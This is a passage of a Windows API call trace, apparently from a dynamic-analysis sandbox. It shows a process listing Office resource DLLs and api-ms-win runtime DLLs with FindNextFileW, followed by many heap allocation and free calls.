	[0165.084] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1
	[0165.084] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf46b8986, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca73c66, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52848, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncDesktopResources.dll", cAlternateFileName="LYNCDE~1.DLL")) returned 1
	[0165.084] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee2e1f46, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee3545e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1
	[0165.084] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee48, dwReserved0=0x0, dwReserved1=0x0, cFileName="ocapires.dll", cAlternateFileName="")) returned 1
	[0165.084] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xed231745, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OcHelperResource.dll", cAlternateFileName="OCHELP~1.DLL")) returned 1
	[0165.085] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1bf45a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bf45a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a878, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCLTINT.DLL", cAlternateFileName="")) returned 1
	[0165.085] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf263c7d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf263c7d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16e6a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OcPubRes.dll", cAlternateFileName="")) returned 1
	[0165.085] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2e1424f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e1424f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e1424f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSHLP10.CHM", cAlternateFileName="")) returned 1
	[0165.085] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd43957d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd43957d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd442e16d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x380d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUCRES.DLL", cAlternateFileName="")) returned 1
	[0165.086] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUPLD.INTL.DLL", cAlternateFileName="STSUPL~1.DLL")) returned 1
	[0165.086] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1860d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1860d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29048, dwReserved0=0x0, dwReserved1=0x0, cFileName="UcAddinRes.dll", cAlternateFileName="UCADDI~1.DLL")) returned 1
	[0165.086] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefebf763, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca99edb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a048, dwReserved0=0x0, dwReserved1=0x0, cFileName="UccApiRes.dll", cAlternateFileName="UCCAPI~1.DLL")) returned 1
	[0165.086] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca99edb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x411f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAOWS10.CHM", cAlternateFileName="")) returned 1
	[0165.087] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 1
	[0165.087] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x310e918 | out: lpFindFileData=0x310e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="VVIEWRES.DLL", cAlternateFileName="")) returned 0
	[0165.087] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0165.088] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.088] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0165.088] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="APC7B0~1.DLL")) returned 1
	[0165.088] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1
	[0165.088] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~3.DLL")) returned 1
	[0165.088] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a1d539, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a1d539, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1
	[0165.088] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1
	[0165.088] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1
	[0165.089] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1
	[0165.089] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf2dd35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf2dd35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1
	[0165.089] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75cf220, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75cf220, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1
	[0165.089] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2f5c0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2f5c0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1
	[0165.089] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9f15ef0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9f15ef0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1
	[0165.091] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4272990
	[0165.093] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.096] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.101] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.103] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.104] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.109] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.111] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.763] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.763] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.763] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.764] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.764] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.765] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0165.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.766] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.768] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.769] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.770] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.770] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0165.770] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.770] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.771] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.771] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.771] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0165.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0165.773] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0165.775] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.777] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.778] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.778] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.778] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.778] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.779] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.779] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0165.779] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.779] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.780] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.780] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0165.782] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.783] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.783] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0165.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0165.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0165.784] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.787] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0165.788] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0165.788] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0165.790] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4165fd8 | out: hHeap=0x5a0000) returned 1
	[0165.792] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0165.794] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0165.795] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0165.796] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0165.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0165.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0166.042] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
